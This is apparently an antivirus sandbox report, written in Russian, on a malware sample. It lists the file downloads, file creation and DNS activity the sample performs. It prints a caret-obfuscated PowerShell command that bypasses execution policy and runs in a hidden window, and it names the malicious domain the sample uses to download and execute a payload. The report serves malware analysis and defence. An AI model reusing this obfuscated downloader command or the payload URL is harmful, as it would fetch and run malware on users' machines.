Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- http://mondayhelthc.top/read.php?f=0.dat как %appdata%.exe
Запускает на исполнение (эксплоит)
- '<SYSTEM32>\cmd.exe' /C "pOwe^rS^H^E^Ll.^exe -E^xecuTi^oN^poLIcY B^ypaSS^ -noP^rofi^le^ -^WINdOWS^t^ylE ^hI^D^dEn ^(NE^w-OB^Jec^T Sys^TE^M^.NET.^WEb^C^LI^EN^T)^.^D^OwN^loaDf^Il^E(^'http://mondayhelthc....
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\windows\<INETFILES>\content.ie5\dyps348i\config14[1].txt
Сетевая активность
UDP
- DNS ASK mo####helthc.top
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /C "pOwe^rS^H^E^Ll.^exe -E^xecuTi^oN^poLIcY B^ypaSS^ -noP^rofi^le^ -^WINdOWS^t^ylE ^hI^D^dEn ^(NE^w-OB^Jec^T Sys^TE^M^.NET.^WEb^C^LI^EN^T)^.^D^OwN^loaDf^Il^E(^'http://mondayhelthc.... (со скрытым окном)
